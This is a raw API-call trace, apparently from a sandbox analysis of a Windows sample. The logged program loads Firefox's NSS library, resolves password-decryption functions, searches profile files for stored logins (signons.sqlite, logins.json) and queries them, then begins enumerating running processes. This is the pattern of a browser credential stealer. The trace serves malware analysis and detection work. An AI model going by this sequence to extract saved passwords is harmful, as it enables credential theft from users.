[0081.091] RegCloseKey (hKey=0xe8) returned 0x0
[0081.091] wcscpy (in: _Dest=0x12af3c, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0081.091] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x12dcd4 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop") returned 0x1b
[0081.091] SetCurrentDirectoryW (lpPathName="C:\\Program Files\\Mozilla Firefox" (normalized: "c:\\program files\\mozilla firefox")) returned 1
[0081.092] wcslen (_String="nss3.dll") returned 0x8
[0081.092] wcslen (_String="C:\\Program Files\\Mozilla Firefox") returned 0x20
[0081.092] wcscpy (in: _Dest=0x12ad2c, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0081.092] wcslen (_String="C:\\Program Files\\Mozilla Firefox") returned 0x20
[0081.092] wcscat (in: _Dest=0x12ad2c, _Source="\\" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\") returned="C:\\Program Files\\Mozilla Firefox\\"
[0081.092] wcscat (in: _Dest=0x12ad2c, _Source="nss3.dll" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files\\Mozilla Firefox\\nss3.dll"
[0081.092] GetModuleHandleW (lpModuleName="C:\\Program Files\\Mozilla Firefox\\nss3.dll") returned 0x0
[0081.196] LoadLibraryExW (lpLibFileName="C:\\Program Files\\Mozilla Firefox\\nss3.dll", hFile=0x0, dwFlags=0x8) returned 0x5f200000
[0082.108] GetProcAddress (hModule=0x5f200000, lpProcName="NSS_Init") returned 0x5f2bd70b
[0082.110] GetProcAddress (hModule=0x5f200000, lpProcName="NSS_Shutdown") returned 0x5f2bd13c
[0082.110] GetProcAddress (hModule=0x5f200000, lpProcName="PK11_GetInternalKeySlot") returned 0x5f253c51
[0082.110] GetProcAddress (hModule=0x5f200000, lpProcName="PK11_FreeSlot") returned 0x5f253333
[0082.110] GetProcAddress (hModule=0x5f200000, lpProcName="PK11_CheckUserPassword") returned 0x5f23cbc4
[0082.110] GetProcAddress (hModule=0x5f200000, lpProcName="PK11_Authenticate") returned 0x5f23d3ca
[0082.110] GetProcAddress (hModule=0x5f200000, lpProcName="PK11SDR_Decrypt") returned 0x5f2500a7
[0082.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default", cchWideChar=-1, lpMultiByteStr=0x12bbb8, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default", lpUsedDefaultChar=0x0) returned 78
[0082.128] NSS_Init () returned 0x0
[0083.240] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0083.240] wcslen (_String="signons.txt") returned 0xb
[0083.240] wcscpy (in: _Dest=0x12b798, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default"
[0083.240] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0083.240] wcscat (in: _Dest=0x12b798, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\"
[0083.240] wcscat (in: _Dest=0x12b798, _Source="signons.txt" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\signons.txt") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\signons.txt"
[0083.240] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0083.240] wcslen (_String="signons2.txt") returned 0xc
[0083.240] wcscpy (in: _Dest=0x12b588, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default"
[0083.240] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0083.240] wcscat (in: _Dest=0x12b588, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\"
[0083.240] wcscat (in: _Dest=0x12b588, _Source="signons2.txt" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\signons2.txt") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\signons2.txt"
[0083.240] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0083.240] wcslen (_String="signons3.txt") returned 0xc
[0083.240] wcscpy (in: _Dest=0x12b168, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default"
[0083.240] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0083.240] wcscat (in: _Dest=0x12b168, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\"
[0083.240] wcscat (in: _Dest=0x12b168, _Source="signons3.txt" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\signons3.txt") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\signons3.txt"
[0083.240] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0083.240] wcslen (_String="signons.sqlite") returned 0xe
[0083.240] wcscpy (in: _Dest=0x12b378, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default"
[0083.240] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0083.240] wcscat (in: _Dest=0x12b378, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\"
[0083.241] wcscat (in: _Dest=0x12b378, _Source="signons.sqlite" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\signons.sqlite") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\signons.sqlite"
[0083.241] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0083.241] wcslen (_String="logins.json") returned 0xb
[0083.241] wcscpy (in: _Dest=0x12b9a8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default"
[0083.241] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0083.241] wcscat (in: _Dest=0x12b9a8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\"
[0083.241] wcscat (in: _Dest=0x12b9a8, _Source="logins.json" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\logins.json") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\logins.json"
[0083.241] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\logins.json" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\mozilla\\firefox\\profiles\\zcf30c9i.default\\logins.json")) returned 0xffffffff
[0083.241] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\signons.sqlite" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\mozilla\\firefox\\profiles\\zcf30c9i.default\\signons.sqlite")) returned 0x2020
[0083.250] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Mozilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x128c24 | out: phkResult=0x128c24*=0x114) returned 0x0
[0083.250] RegEnumKeyExW (in: hKey=0x114, dwIndex=0x0, lpName=0x1287c8, lpcchName=0x127d98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x127d90 | out: lpName="Firefox", lpcchName=0x127d98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x127d90) returned 0x0
[0083.250] _wcsnicmp (_String1="Firefox", _String2="mozilla", _MaxCount=0x7) returned -7
[0083.250] RegEnumKeyExW (in: hKey=0x114, dwIndex=0x1, lpName=0x1287c8, lpcchName=0x127d98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x127d90 | out: lpName="MaintenanceService", lpcchName=0x127d98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x127d90) returned 0x0
[0083.250] _wcsnicmp (_String1="Mainten", _String2="mozilla", _MaxCount=0x7) returned -14
[0083.250] RegEnumKeyExW (in: hKey=0x114, dwIndex=0x2, lpName=0x1287c8, lpcchName=0x127d98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x127d90 | out: lpName="Mozilla Firefox", lpcchName=0x127d98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x127d90) returned 0x0
[0083.250] _wcsnicmp (_String1="Mozilla", _String2="mozilla", _MaxCount=0x7) returned 0
[0083.251] _snwprintf (in: _Dest=0x127db8, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox\\bin") returned 19
[0083.251] RegOpenKeyExW (in: hKey=0x114, lpSubKey="Mozilla Firefox\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x127d88 | out: phkResult=0x127d88*=0x0) returned 0x2
[0083.251] RegEnumKeyExW (in: hKey=0x114, dwIndex=0x3, lpName=0x1287c8, lpcchName=0x127d98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x127d90 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x127d98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x127d90) returned 0x0
[0083.251] _wcsnicmp (_String1="Mozilla", _String2="mozilla", _MaxCount=0x7) returned 0
[0083.251] _snwprintf (in: _Dest=0x127db8, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox 25.0\\bin") returned 24
[0083.251] RegOpenKeyExW (in: hKey=0x114, lpSubKey="Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x127d88 | out: phkResult=0x127d88*=0x118) returned 0x0
[0083.251] RegQueryValueExW (in: hKey=0x118, lpValueName="PathToExe", lpReserved=0x0, lpType=0x127d6c, lpData=0x1289c8, lpcbData=0x127d70*=0x208 | out: lpType=0x127d6c*=0x1, lpData="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpcbData=0x127d70*=0x5a) returned 0x0
[0083.251] RegCloseKey (hKey=0x118) returned 0x0
[0083.251] wcslen (_String="C:\\Program Files\\Mozilla Firefox") returned 0x20
[0083.251] wcslen (_String="nss3.dll") returned 0x8
[0083.251] wcscpy (in: _Dest=0x127b90, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0083.251] wcslen (_String="C:\\Program Files\\Mozilla Firefox") returned 0x20
[0083.251] wcscat (in: _Dest=0x127b90, _Source="\\" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\") returned="C:\\Program Files\\Mozilla Firefox\\"
[0083.251] wcscat (in: _Dest=0x127b90, _Source="nss3.dll" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files\\Mozilla Firefox\\nss3.dll"
[0083.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files\\mozilla firefox\\nss3.dll")) returned 0x20
[0083.251] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\nss3.dll", lpFindFileData=0x1276d8 | out: lpFindFileData=0x1276d8) returned 0x191db0
[0083.251] FindClose (in: hFindFile=0x191db0 | out: hFindFile=0x191db0) returned 1
[0083.252] CompareFileTime (lpFileTime1=0x128c18, lpFileTime2=0x128c10) returned 1
[0083.252] wcscpy (in: _Dest=0x1285b8, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0083.252] RegEnumKeyExW (in: hKey=0x114, dwIndex=0x4, lpName=0x1287c8, lpcchName=0x127d98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x127d90 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x127d98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x127d90) returned 0x103
[0083.252] RegCloseKey (hKey=0x114) returned 0x0
[0083.252] wcscpy (in: _Dest=0x128e68, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0083.252] wcscpy (in: _Dest=0x128c38, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0083.252] wcscat (in: _Dest=0x128e68, _Source="\\sqlite3.dll" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\sqlite3.dll") returned="C:\\Program Files\\Mozilla Firefox\\sqlite3.dll"
[0083.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Mozilla Firefox\\sqlite3.dll" (normalized: "c:\\program files\\mozilla firefox\\sqlite3.dll")) returned 0xffffffff
[0083.252] wcscpy (in: _Dest=0x128e68, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0083.252] wcscat (in: _Dest=0x128e68, _Source="\\mozsqlite3.dll" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\mozsqlite3.dll") returned="C:\\Program Files\\Mozilla Firefox\\mozsqlite3.dll"
[0083.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Mozilla Firefox\\mozsqlite3.dll" (normalized: "c:\\program files\\mozilla firefox\\mozsqlite3.dll")) returned 0xffffffff
[0083.252] wcscpy (in: _Dest=0x128e68, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0083.252] wcscat (in: _Dest=0x128e68, _Source="\\nss3.dll" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files\\Mozilla Firefox\\nss3.dll"
[0083.252] GetModuleHandleW (lpModuleName="C:\\Program Files\\Mozilla Firefox\\nss3.dll") returned 0x5f200000
[0083.252] GetProcAddress (hModule=0x5f200000, lpProcName="sqlite3_open") returned 0x5f361ca0
[0083.252] GetProcAddress (hModule=0x5f200000, lpProcName="sqlite3_prepare") returned 0x5f2ece70
[0083.253] GetProcAddress (hModule=0x5f200000, lpProcName="sqlite3_step") returned 0x5f355200
[0083.253] GetProcAddress (hModule=0x5f200000, lpProcName="sqlite3_column_text") returned 0x5f30d400
[0083.253] GetProcAddress (hModule=0x5f200000, lpProcName="sqlite3_column_int") returned 0x5f30d3a0
[0083.253] GetProcAddress (hModule=0x5f200000, lpProcName="sqlite3_column_int64") returned 0x5f30d3d0
[0083.253] GetProcAddress (hModule=0x5f200000, lpProcName="sqlite3_finalize") returned 0x5f339f60
[0083.253] GetProcAddress (hModule=0x5f200000, lpProcName="sqlite3_close") returned 0x5f33bde0
[0083.253] GetProcAddress (hModule=0x5f200000, lpProcName="sqlite3_exec") returned 0x5f33a270
[0083.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\signons.sqlite", cchWideChar=-1, lpMultiByteStr=0x12a8d8, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\signons.sqlite", lpUsedDefaultChar=0x0) returned 93
[0083.253] sqlite3_open () returned 0x0
[0083.302] sqlite3_prepare () returned 0x0
[0083.401] sqlite3_step () returned 0x65
[0083.401] sqlite3_finalize () returned 0x0
[0083.401] sqlite3_close () returned 0x0
[0083.401] NSS_Shutdown () returned 0x0
[0083.406] SetCurrentDirectoryW (lpPathName="C:\\Users\\ATVeyDl98Z\\Desktop" (normalized: "c:\\users\\atveydl98z\\desktop")) returned 1
[0083.406] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Mozilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ad14 | out: phkResult=0x12ad14*=0xe8) returned 0x0
[0083.407] RegEnumKeyExW (in: hKey=0xe8, dwIndex=0x0, lpName=0x12a8b8, lpcchName=0x129e88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80 | out: lpName="Firefox", lpcchName=0x129e88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80) returned 0x0
[0083.407] _wcsnicmp (_String1="Firefox", _String2="mozilla", _MaxCount=0x7) returned -7
[0083.407] RegEnumKeyExW (in: hKey=0xe8, dwIndex=0x1, lpName=0x12a8b8, lpcchName=0x129e88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80 | out: lpName="MaintenanceService", lpcchName=0x129e88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80) returned 0x0
[0083.407] _wcsnicmp (_String1="Mainten", _String2="mozilla", _MaxCount=0x7) returned -14
[0083.407] RegEnumKeyExW (in: hKey=0xe8, dwIndex=0x2, lpName=0x12a8b8, lpcchName=0x129e88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80 | out: lpName="Mozilla Firefox", lpcchName=0x129e88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80) returned 0x0
[0083.407] _wcsnicmp (_String1="Mozilla", _String2="mozilla", _MaxCount=0x7) returned 0
[0083.407] _snwprintf (in: _Dest=0x129ea8, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox\\bin") returned 19
[0083.407] RegOpenKeyExW (in: hKey=0xe8, lpSubKey="Mozilla Firefox\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x129e78 | out: phkResult=0x129e78*=0x0) returned 0x2
[0083.407] RegEnumKeyExW (in: hKey=0xe8, dwIndex=0x3, lpName=0x12a8b8, lpcchName=0x129e88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x129e88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80) returned 0x0
[0083.407] _wcsnicmp (_String1="Mozilla", _String2="mozilla", _MaxCount=0x7) returned 0
[0083.407] _snwprintf (in: _Dest=0x129ea8, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox 25.0\\bin") returned 24
[0083.407] RegOpenKeyExW (in: hKey=0xe8, lpSubKey="Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x129e78 | out: phkResult=0x129e78*=0x10c) returned 0x0
[0083.407] RegQueryValueExW (in: hKey=0x10c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x129e5c, lpData=0x12aab8, lpcbData=0x129e60*=0x208 | out: lpType=0x129e5c*=0x1, lpData="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpcbData=0x129e60*=0x5a) returned 0x0
[0083.407] RegCloseKey (hKey=0x10c) returned 0x0
[0083.407] wcslen (_String="C:\\Program Files\\Mozilla Firefox") returned 0x20
[0083.407] wcslen (_String="nss3.dll") returned 0x8
[0083.407] wcscpy (in: _Dest=0x129c80, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0083.407] wcslen (_String="C:\\Program Files\\Mozilla Firefox") returned 0x20
[0083.407] wcscat (in: _Dest=0x129c80, _Source="\\" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\") returned="C:\\Program Files\\Mozilla Firefox\\"
[0083.407] wcscat (in: _Dest=0x129c80, _Source="nss3.dll" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files\\Mozilla Firefox\\nss3.dll"
[0083.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files\\mozilla firefox\\nss3.dll")) returned 0x20
[0083.408] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\nss3.dll", lpFindFileData=0x1297c8 | out: lpFindFileData=0x1297c8) returned 0x191db0
[0083.408] FindClose (in: hFindFile=0x191db0 | out: hFindFile=0x191db0) returned 1
[0083.408] CompareFileTime (lpFileTime1=0x12ad08, lpFileTime2=0x12ad00) returned 1
[0083.408] wcscpy (in: _Dest=0x12a6a8, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0083.408] RegEnumKeyExW (in: hKey=0xe8, dwIndex=0x4, lpName=0x12a8b8, lpcchName=0x129e88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x129e88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80) returned 0x103
[0083.408] RegCloseKey (hKey=0xe8) returned 0x0
[0083.408] wcscpy (in: _Dest=0x12af3c, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0083.408] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x12dcd4 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop") returned 0x1b
[0083.408] SetCurrentDirectoryW (lpPathName="C:\\Program Files\\Mozilla Firefox" (normalized: "c:\\program files\\mozilla firefox")) returned 1
[0083.408] wcslen (_String="nss3.dll") returned 0x8
[0083.408] wcslen (_String="C:\\Program Files\\Mozilla Firefox") returned 0x20
[0083.408] wcscpy (in: _Dest=0x12ad2c, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0083.408] wcslen (_String="C:\\Program Files\\Mozilla Firefox") returned 0x20
[0083.408] wcscat (in: _Dest=0x12ad2c, _Source="\\" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\") returned="C:\\Program Files\\Mozilla Firefox\\"
[0083.408] wcscat (in: _Dest=0x12ad2c, _Source="nss3.dll" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files\\Mozilla Firefox\\nss3.dll"
[0083.408] GetModuleHandleW (lpModuleName="C:\\Program Files\\Mozilla Firefox\\nss3.dll") returned 0x5f200000
[0083.409] GetProcAddress (hModule=0x5f200000, lpProcName="NSS_Init") returned 0x5f2bd70b
[0083.409] GetProcAddress (hModule=0x5f200000, lpProcName="NSS_Shutdown") returned 0x5f2bd13c
[0083.409] GetProcAddress (hModule=0x5f200000, lpProcName="PK11_GetInternalKeySlot") returned 0x5f253c51
[0083.409] GetProcAddress (hModule=0x5f200000, lpProcName="PK11_FreeSlot") returned 0x5f253333
[0083.409] GetProcAddress (hModule=0x5f200000, lpProcName="PK11_CheckUserPassword") returned 0x5f23cbc4
[0083.409] GetProcAddress (hModule=0x5f200000, lpProcName="PK11_Authenticate") returned 0x5f23d3ca
[0083.409] GetProcAddress (hModule=0x5f200000, lpProcName="PK11SDR_Decrypt") returned 0x5f2500a7
[0083.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default", cchWideChar=-1, lpMultiByteStr=0x12bbb8, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default", lpUsedDefaultChar=0x0) returned 76
[0083.409] NSS_Init () returned 0xffffffff
[0083.451] SetCurrentDirectoryW (lpPathName="C:\\Users\\ATVeyDl98Z\\Desktop" (normalized: "c:\\users\\atveydl98z\\desktop")) returned 1
[0083.451] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe8
[0083.458] Process32FirstW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
[0083.458] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
[0083.459] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0
[0083.459] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
[0083.460] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x100) returned 0x0
